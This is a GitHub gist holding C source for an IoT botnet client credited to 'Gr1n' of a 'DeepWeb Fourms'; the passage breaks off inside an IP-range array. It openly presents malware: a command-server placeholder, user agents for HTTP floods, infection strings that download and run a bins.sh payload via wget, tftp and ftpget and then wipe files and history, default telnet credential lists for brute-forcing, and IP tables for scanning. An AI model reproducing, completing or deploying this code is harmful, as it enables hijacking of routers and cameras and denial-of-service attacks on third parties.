-
-
Save WHOLETTHEDOG-OUT/ef70af6544c132f3eb2a161368c5e567 to your computer and use it in GitHub Desktop.
Gr1n Client.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Client.c Made By @Gr1n1337 - | |
// DeepWeb Fourms User Name - Gr1n - | |
// This Client Only Has UDP TCP HTML - | |
//--------------------------------- | |
#define PR_SET_NAME 15 | |
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *)) | |
#define PAD_RIGHT 1 | |
#define PAD_ZERO 2 | |
#define PRINT_BUF_LEN 12 | |
#define CMD_IAC 255 | |
#define CMD_WILL 251 | |
#define CMD_WONT 252 | |
#define CMD_DO 253 | |
#define CMD_DONT 254 | |
#define OPT_SGA 3 | |
#define STD2_STRING "dts" | |
#define STD2_SIZE 65 | |
#define BUFFER_SIZE 1024 | |
#include <stdlib.h> | |
#include <stdarg.h> | |
#include <stdio.h> | |
#include <sys/socket.h> | |
#include <sys/types.h> | |
#include <netinet/in.h> | |
#include <arpa/inet.h> | |
#include <netdb.h> | |
#include <signal.h> | |
#include <strings.h> | |
#include <string.h> | |
#include <sys/utsname.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <errno.h> | |
#include <netinet/ip.h> | |
#include <netinet/udp.h> | |
#include <netinet/tcp.h> | |
#include <sys/wait.h> | |
#include <sys/ioctl.h> | |
#include <net/if.h> | |
#include <pthread.h> | |
unsigned char *commServer[] = | |
{ | |
"0.0.0.0.0:PORT" | |
}; | |
char *useragents[] = { | |
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 " | |
"Firefox/3.5.3", | |
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 " | |
"Firefox/3.5.3 (.NET CLR 3.5.30729)", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) " | |
"Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)", | |
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) " | |
"Gecko/20090718 Firefox/3.5.1", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 " | |
"(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1", | |
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; " | |
"SLCC2; .NET CLR 2.0.50727; InfoPath.2)", | |
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; " | |
".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR " | |
"3.0.30729)", | |
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; " | |
"Trident/4.0)", | |
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; " | |
".NET CLR 2.0.50727; InfoPath.2)", | |
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", | |
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)", | |
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51", | |
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) " | |
"Chrome/41.0.2228.0 Safari/537.36", | |
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201", | |
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 " | |
"Version/12.16", | |
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like " | |
"Gecko", | |
"Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) " | |
"like Gecko", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 " | |
"(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A" | |
"Baiduspider+(+http://www.baidu.com/search/spider.htm)", | |
"Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)", | |
"Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)", | |
"Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/", | |
"BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)", | |
"zspider/0.9-dev http://feedback.redkolibri.com/", | |
"Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
"Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
"Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)", | |
"Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
"Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
"Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
"Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )", | |
"Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)", | |
"Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)", | |
"Mozilla/2.0 (compatible; Ask Jeeves/Teoma)", | |
"TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)", | |
"TheSuBot/0.2 (www.thesubot.de)", | |
"TheSuBot/0.1 (www.thesubot.de)", | |
"FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", | |
"FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)", | |
"FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", | |
"FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)", | |
"FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", | |
"FAST-WebCrawler/3.x Multimedia", | |
"Mozilla/4.0 (compatible: FDSE robot)", | |
"findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)", | |
"findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)", | |
"findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)", | |
"findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)", | |
"findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)", | |
"Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable", | |
"Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable", | |
"Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)", | |
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2", | |
"Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2", | |
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)" | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)", | |
"AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)", | |
"AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)", | |
"magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)", | |
"Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)", | |
"Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)", | |
"MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)", | |
"MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)", | |
"Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)", | |
"MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)", | |
"Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0", | |
"Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)", | |
"msnbot/1.0 (+http://search.msn.com/msnbot.htm)", | |
"msnbot/0.9 (+http://search.msn.com/msnbot.htm)", | |
"msnbot/0.11 ( http://search.msn.com/msnbot.htm)", | |
"MSNBOT/0.1 (http://search.msn.com/msnbot.htm)", | |
"Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)", | |
"Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)", | |
"NetResearchServer/4.0(loopimprovements.com/robot.html)", | |
"NetResearchServer/3.5(loopimprovements.com/robot.html)", | |
"NetResearchServer/2.8(loopimprovements.com/robot.html)", | |
"NetResearchServer/2.7(loopimprovements.com/robot.html)", | |
"NetResearchServer/2.5(loopimprovements.com/robot.html)", | |
"Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", | |
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)", | |
"Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)", | |
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", | |
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", | |
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ", | |
"Googlebot/2.1 (http://www.googlebot.com/bot.html)", | |
"Opera/9.20 (Windows NT 6.0; U; en)", | |
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", | |
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", | |
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)", | |
"Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0", | |
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)", | |
"Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", | |
"Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", | |
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13", | |
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", | |
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", | |
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", | |
"Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)", | |
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0", | |
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", | |
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8", | |
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", | |
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", | |
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", | |
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", | |
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6", | |
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0", | |
}; | |
int initConnection(); | |
int getBogos(unsigned char *bogomips); | |
int getCores(); | |
int getCountry(unsigned char *buf, int bufsize); | |
void makeRandomStr(unsigned char *buf, int length); | |
int sockprintf(int sock, char *formatStr, ...); | |
char *inet_ntoa(struct in_addr in); | |
int mainCommSock = 0, currentServer = -1, gotIP = 0; | |
uint32_t *pids; | |
uint32_t scanPid; | |
uint64_t numpids = 0; | |
struct in_addr ourIP; | |
struct in_addr ourPublicIP; | |
unsigned char macAddress[6] = {0}; | |
char *infect2 = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var || cd /var/run;wget http://0.0.0.0.0/bins.sh ;chmod 777 bins.sh;sh bins.sh ;rm -rf *;history -c\r\n"; | |
char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n"; | |
char *usernames[] = {"root\0", "root\0" "root\0", "root\0", "root\0", "admin\0", "admin\0", "root\0", "Administrator\0", "root\0", "toor\0", "guest\0", "realtek\0", "root\0", "telnet", "ubnt"}; | |
char *passwords[] = {"root\0", "1234\0","12345\0", "\0", "123456\0", "admin\0", "1234\0", "toor\0", "Administrator\0", "admin\0", "root\0", "guest\0", "realtek\0", "vizxv\0", "telnet", "ubnt"}; | |
char* tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0}; | |
char* advances[] = {":", "ogin", "sername", "assword", (char*)0}; | |
char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0}; | |
char* successes[] = {"busybox", "$", "#", (char*)0}; | |
char* infected[] = {"G1rn"}; | |
char *infectedmessage = "G1rn"; | |
char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0}; | |
int oldranges[] = {1,1,1,1,1,1,101,101,101,103,103,103,103,103,105,106,106,109,109,109,109,109,111,112,112,112,112,112,112,113,113,113,114,114,115,115,115,115,117,117,117,118,118,118,118,118,118,118,118,119,119,119,119,120,120,120,121,121,121,121,121,121,122,122,122,122,122,122,122,122,122,122,123,123,124,124,124,124,124,124,125,125,125,125,125,125,125,125,128,128,131,131,131,132,138,14,14,14,14,14,14,14,14,14,14,14,14,140,141,148,151,162,163,165,165,166,166,166,166,166,166,166,166,167,168,173,173,173,174,175,175,175,175,175,175,175,175,176,176,177,177,177,177,177,177,177,177,178,178,178,179,179,179,179,180,181,181,181,182,182,182,182,182,182,182,182,185,185,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,187,187,187,187,188,188,189,189,189,189,189,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,191,191,191,191,191,191,191,191,191,191,191,191,191,192,193,193,196,196,197,198,2,2,2,2,200,200,200,200,201,201,201,201,201,201,201,201,201,201,202,202,202,202,202,202,202,203,203,203,203,203,203,203,203,203,203,206,209,209,210,210,210,210,210,210,210,210,210,210,210,210,211,211,211,211,211,211,211,211,211,211,211,211,211,211,212,212,212,213,213,213,213,213,213,213,217,218,218,219,219,219,220,220,220,220,220,220,221,221,221,221,221,222,222,222,222,222,222,223,223,223,223,24,24,27,27,27,31,31,31,31,31,31,31,36,37,37,37,37,37,37,37,37,41,41,41,41,41,41,42,42,43,43,45,45,46,46,46,46,46,46,46,46,49,49,49,49,5,5,5,5,5,5,5,5,50,52,58,58,58,58,58,59,59,59,59,59,59,60,61,61,61,61,61,61,61,61,61,61,61,61,61,61,62,64,66,68,69,70,71,72,72,74,75,77,77,77,77,78,78,78,78,78,78,79,79,79,8,80,80,80,80,80,80,80,80,80,81,81,81,81,82,82,82,82,83,83,83,83,83,83,83,83,83,84,84,84,84,85,85,85,85,85,85,85,86,86,86,86,87,87,87,88,88,88,88,88,88,88,88,89,89,89,89,89,89,90,91,91,91,91,91,91,91,92,93,93,93,94,94,94,94,94,95,95,95,95,95,95,95,95,95,95,96,98,98}; | |
int oldranges2[] = {10,176,213,232,245,4,108,231,51,193,206,25,43,62,98,105,240,161,197,232,60,86,69,163,169,219,220,67,76,11,198,53,69,99,127,160,91,93,123,16,17,128,173,175,217,220,35,36,37,194,203,92,93,237,29,51,120,121,137,58,65,73,128,160,170,178,199,2,3,52,53,54,108,200,105,106,107,119,128,28,107,127,132,24,25,26,27,7,0,46,0,108,72,248,94,160,162,167,168,174,175,177,185,191,201,33,48,93,64,204,100,254,172,132,229,130,141,154,161,241,248,251,78,142,167,238,239,255,58,126,192,201,224,226,228,231,232,121,96,113,19,22,35,69,70,87,99,136,150,208,184,40,56,57,180,138,141,226,52,65,68,70,71,72,75,76,69,87,103,106,112,113,114,115,116,117,118,119,128,129,130,133,134,135,138,148,15,155,177,178,179,183,192,194,195,201,215,218,219,226,227,233,235,236,237,242,249,251,39,46,54,56,57,58,59,60,61,62,65,67,92,95,109,50,61,95,243,3,114,149,55,96,98,121,15,155,174,175,176,178,179,252,254,40,43,48,49,50,80,194,197,199,203,241,26,31,37,6,81,83,84,98,154,34,68,205,44,246,144,227,232,235,38,103,161,205,23,124,179,222,230,240,49,55,67,71,77,103,137,151,31,41,44,62,109,123,223,236,237,238,242,249,252,253,192,102,225,102,105,111,119,16,181,213,216,217,91,92,93,105,119,195,208,216,229,232,238,239,245,254,36,37,44,103,156,179,164,190,230,232,250,46,85,57,56,65,149,233,240,127,149,66,67,69,93,145,164,166,210,7,110,170,172,174,211,212,237,242,95,99,2,31,0,1,126,135,146,163,186,23,42,8,96,1,132,143,151,158,221,77,98,143,162,34,65,74,82,115,61,239,245,242,64,149,19,29,39,42,44,48,63,136,144,145,213,11,137,140,141,199,81,82,83,167,221,137,140,187,213,244,11,120,25,30,94,95,175,148,152,177,183,230,234,235,251,32,36,7,72,78,85,176,19,108,12,36,33,87,17,219,59,151,108,209,35,94,139,158,186,188,189,61,126,142,49,40,188,221,242,249,250,54,78,82,85,19,220,45,74,151,52,53,55,11,12,132,174,22,221,233,237,24,124,22,237,238,104,105,109,173,64,95,99,110,122,53,99,117,15,239,147,204,225,234,247,248,249,28,142,200,207,212,22,248,157,102,135,137,140,158,200,221,92,100,103,190,215,29,40,56,70,152,210,227,244,37,39,46,53,69,9,30,124,207}; | |
int rangesA[] = {1,101,103,109,112,115,118,121,122,124,125,128,131,14,173,175,176,178,180,181,182,186,188,189,196,202,203,210,211,212,216,220,27,31,37,41,43,45,46,49,5,50,59,61,62,77,78,79,80,82,83,85,87,88,89,91,93,94,95}; | |
int rangesB1[] = {1,1,101,103,103,103,103,103,103,103,103,103,103,103,103,103,103,109,109,111,112,115,118,118,120,121,122,122,122,124,124,125,125,125,128,131,14,14,14,14,14,14,14,14,14,14,14,167,173,175,176,176,178,179,180,181,182,182,182,182,186,186,186,186,186,186,186,186,188,188,189,189,189,190,196,202,202,203,203,210,211,211,212,212,213,216,220,27,27,31,31,31,31,31,37,37,37,41,41,41,43,43,43,43,45,45,45,45,45,46,46,46,46,49,49,5,5,5,50,50,59,59,61,61,61,62,77,77,77,77,78,78,78,78,79,80,80,82,82,82,82,83,83,83,85,85,85,85,85,85,87,88,88,88,88,88,88,88,88,88,89,89,91,93,93,93,94,94,95,95,95,95,95,95,95}; | |
int rangesB2[] = {10,70,108,193,195,198,203,206,214,220,242,30,35,43,49,55,62,197,86,69,169,160,173,35,237,137,178,53,54,107,119,107,132,24,0,72,160,162,167,168,174,175,177,185,191,201,27,142,255,201,121,96,136,184,180,226,52,68,71,75,112,114,117,177,227,236,251,67,243,3,149,169,55,43,44,44,62,109,150,213,216,229,103,156,250,51,93,0,1,135,163,23,42,8,1,143,158,143,65,82,230,239,245,252,115,120,121,127,252,39,42,48,63,144,145,105,137,141,203,233,120,95,177,7,85,176,108,209,35,94,139,186,188,189,126,250,82,52,53,55,71,12,221,24,104,105,109,173,95,99,117,147,204,225,234,247,248,249,251,3,200,248,140,100,103,190,29,70,152,210,37,46,53,69,9}; | |
int rangesC1[] = {1,1,101,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,109,109,111,112,115,118,118,118,118,118,118,120,121,122,122,122,122,124,124,125,125,125,128,131,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,167,173,175,175,176,176,178,179,180,181,182,182,182,182,182,182,182,182,186,186,186,186,186,186,186,186,186,186,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,189,189,189,190,196,202,202,202,202,202,202,202,202,202,203,203,210,211,211,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,213,216,220,220,27,27,27,27,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,37,37,37,37,37,37,37,41,41,41,41,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,45,45,45,45,45,45,45,45,45,45,45,45,45,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,49,49,49,49,49,49,49,49,49,49,5,5,5,5,5,5,5,5,5,50,50,59,59,59,59,61,61,61,61,61,61,62,77,77,77,77,77,77,77,77,77,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,79,79,79,79,80,80,80,80,82,82,82,82,82,82,82,82,83,83,83,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,87,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,89,89,91,93,93,93,93,93,93,94,94,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95}; | |
int rangesC2[] = {10,70,108,193,195,195,198,198,198,203,203,203,206,214,214,220,242,242,242,30,30,30,35,35,43,49,55,62,62,62,197,86,69,169,160,173,173,173,173,173,35,237,137,178,178,53,54,107,119,107,132,24,0,72,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,167,167,167,168,168,168,174,174,174,174,174,174,174,175,175,175,175,175,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,185,185,185,185,185,185,185,185,185,185,185,185,191,191,191,191,191,201,27,142,255,201,201,121,96,136,184,180,226,52,52,68,71,71,75,75,75,112,114,117,177,227,236,251,67,67,67,243,243,243,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,149,169,55,43,44,44,44,44,44,44,44,44,44,62,109,150,213,216,229,103,103,103,103,103,156,156,156,156,156,156,156,156,156,156,156,156,156,250,51,93,93,0,0,0,1,135,163,163,163,